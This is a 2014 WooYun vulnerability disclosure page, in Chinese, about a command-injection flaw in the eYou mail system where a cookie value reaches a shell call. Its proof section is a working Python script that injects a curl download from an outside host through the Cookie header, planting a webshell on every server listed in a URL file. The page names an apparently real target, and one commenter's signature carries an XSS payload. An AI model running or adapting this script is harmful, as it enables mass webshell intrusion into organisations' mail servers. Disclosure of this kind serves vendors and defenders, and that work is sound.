当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-058531

漏洞标题：亿邮邮件系统命令执行漏洞导致批量Getwebshell

相关厂商：北京亿中邮信息技术有限公司

漏洞作者： conqu3r

提交时间：2014-04-26 15:02

修复时间：2014-06-10 15:03

公开时间：2014-06-10 15:03

漏洞类型：命令执行

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-04-26： 细节已通知厂商并且等待厂商处理中
2014-04-30： 厂商已经确认，细节仅向厂商公开
2014-05-10： 细节向核心白帽子及相关领域专家公开
2014-05-20： 细节向普通白帽子公开
2014-05-30： 细节向实习白帽子公开
2014-06-10： 细节向公众公开

简要描述：

这套系统还有很多问题，能登录就更多问题了。

详细说明：

user/storage_fold_explore.php

<?php
/**
 * 用户网络存储目录列表
 *
 * 该页面显示登录邮箱用户的网络存储目录列表，选择后保存邮件附件到指定的目录中。
 *
 * @author FengHui <fenghui@eyou.net>
 * @copyright 199902008 eYou.net
 * @version storage_explore.php 2008/11/12
 */
require_once('/var/eyou/apache/htdocs/config.php');
require_once(PATH.'inc/function.php');
require_once(PATH.'inc/libeyou.php');
require_once(PATH.'inc/operate.php');
require_once(PATH.'inc/user.config.php');
$skin               = getCookieUserValue('SKIN');
$uid                = getCookieUserValue('UID');
$domain             = getCookieUserValue('DOMAIN');
$user_dir_path      = getUserDirPath($uid, $domain);
$storage_index_path = $user_dir_path.'/storage/Index/';
$storage_data_path  = $user_dir_path.'/storage/Data/';
$file_name          = htmlspecialchars(get('file'));
$att                = htmlspecialchars(get('att'));
?>


GetUser_DirPath在/inc/function.php下。

function getUserDirPath($uid, $domain) {
    $cmd = "/var/eyou/sbin/hashid $uid $domain";
    $path = `$cmd`;
    $path = trim($path);
    return $path;
}


漏洞证明：

利用代码：

__author__ = 'zengzhang'
import time,sys
import urllib,urllib2
from urlparse import urlparse
def Getwebshell(url):
    url=url.strip()
    header={"Cookie":"USER=UID%3d1|curl http://conqu3r.paxmac.org/test.txt>>test.php&DOMAIN%3d127.0.0.1"}
    try:
        request=urllib2.Request(url,None,headers=header)
        rep=urllib2.urlopen(request)
    except:
        pass
    Indentified(url)
def Readfile(filen):
    fp=open(filen,'r')
    for url in fp:
        if url!='':
            Getwebshell(url)
def Indentified(url):
    url=url[:-19]
    url=url+"test.php"
    try:
        f=urllib.urlopen(url).getcode()
        if f==200:
            fp=open("shell.txt","w+")
            fp.write(url+"\n")
            fp.close()
    except:
        pass
Readfile("url.txt")


url.txt内容为：http://mail.bjsasc.com/user/storage_fold_explore.php形式

EF3B5D39-11D7-4760-8E23-A0CA283D7843.png


修复方案：

你们懂的。。。

版权声明：转载请注明来源 conqu3r@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2014-04-30 10:59

厂商回复：

和之前的重复了，已出补丁，多谢提供！

最新状态：

暂无

漏洞评价：

评论

  1. 2014-04-26 15:06 | Mody ( 普通白帽子 | Rank:110 漏洞数:27 | "><img src=x onerror=alert(1);> <img s...)

    亿邮别哭，站起来撸

  2. 2014-04-26 15:09 | IT偏执狂 ( 路人 | Rank:6 漏洞数:3 | 禁锢我们的究竟是什么？)

    猩猩之火，可以撩猿。

  3. 2014-04-26 15:26 | Kavia ( 实习白帽子 | Rank:50 漏洞数:10 )

    黑阔你好，腻好，可以给我一套源码吗

  4. 2014-04-26 15:27 | conqu3r ( 普通白帽子 | Rank:156 漏洞数:21 | 没有思想，没有道德，没有自由，没有人权的...)

    @Kavia 狒狒，你找死么！来，爷给你两套源码！

  5. 2014-04-26 15:30 | Mody ( 普通白帽子 | Rank:110 漏洞数:27 | "><img src=x onerror=alert(1);> <img s...)

    @Kavia 你是卡哇伊？

  6. 2014-04-26 15:40 | ′ 雨。 ( 普通白帽子 | Rank:1231 漏洞数:190 | Only Code Never Lie To Me.)

    @conqu3r ..同求一份源码。、。 我还没找到 我擦。

  7. 2014-04-26 17:01 | 风花雪月 ( 实习白帽子 | Rank:55 漏洞数:44 | []+[]|[]-[][][][][]%[][]|[]\[]%[][]|[]\[...)

    再次中枪 呵呵 我也求份源码有么？

  8. 2014-04-26 17:12 | 熊猫 ( 实习白帽子 | Rank:64 漏洞数:33 | panda)

    2013年，亿邮邮件系统获“2013软件行业最佳产品奖”2013年，亿邮电子邮件系统获“2013优秀安全认证产品奖”2012年，亿邮邮件归档系统在中国信息安全大会上荣获“2012年度中国信息安全--优秀产品奖"2011年5月12日，亿邮荣获“中国软件和信息技术服务业10年最佳技术创新奖”奖2010年4月21日，2010第十一届中国信息安全大会亿邮荣获2010年度中国信息安全最值得信赖品牌奖2009年，荣获中国科学技术委员会颁发的“高新技术企业”2009年，荣获中关村管理委员会颁发的“创新企业”2008年，荣获人民大会堂颁发的“中国企业邮箱用户满意第一品牌”2006年11月，亿中邮公司荣获“中国反垃圾邮件自主创新最具价值品牌”。2006年11月，由著名会计师事务所德勤发布的《2005中国高科技高成长50强》评比中，北京亿中邮信息技术有限公司以217.21%的年销售额增长率，排行第32位。2006年，亿中邮公司荣获人民网，新华网，中国品牌网主办 “2006年度中国电子邮箱用户满意信赖第一品牌”称号。2005年11月，由著名会计师事务所德勤发布的《2005中国高科技高成长50强》评比中，北京北京亿中邮信息技术有限公司以170.32%的年销售额增长率，排行第47位。2005年9月3日，由中国互联网协会主办的《2005中国互联网大会》上，“亿邮”品牌入选“2005年度十大企业邮箱推荐品牌”。亿中邮公司并在2005年度亿邮企业邮箱服务质量测评活动中，赢得“最佳反垃圾邮件奖”和“最佳性能奖”等两个单项奖。2004年3月，亿邮邮箱曾经在被美国权威的iUser Survey公司评为《中国用户最常使用的电子邮箱服务商》第7名。

  9. 2014-04-26 19:22 | saline ( 普通白帽子 | Rank:231 漏洞数:32 | Focus On Web Secur1ty)

    @conqu3r 同求一套源码

  10. 2014-04-27 23:41 | Lonely ( 实习白帽子 | Rank:72 漏洞数:27 | 人生如梦,始终都游不过当局者迷的悲哀。)

    @saline 有了 源码 发我一套。。。

  11. 2014-04-28 09:41 | conqu3r ( 普通白帽子 | Rank:156 漏洞数:21 | 没有思想，没有道德，没有自由，没有人权的...)

    @xsser 为何没加钱的标志0oooo.

  12. 2014-04-28 16:54 | 枫叶 ( 路人 | Rank:5 漏洞数:1 | 我是枫叶，我做主)

    @saline 同求一套。。。

  13. 2014-06-03 13:02 | d3pT1 ( 路人 | Rank:1 漏洞数:2 | 人法地，地法天，天法道，道法自然。)

    同求一套

  14. 2014-06-10 15:54 | redsin ( 路人 | Rank:16 漏洞数:6 )

    @conqu3r 也求一套

  15. 2014-12-02 20:29 | ooxx ( 路人 | Rank:0 漏洞数:1 | ooxx)

    打下酱油 ~~~~~~~~~~~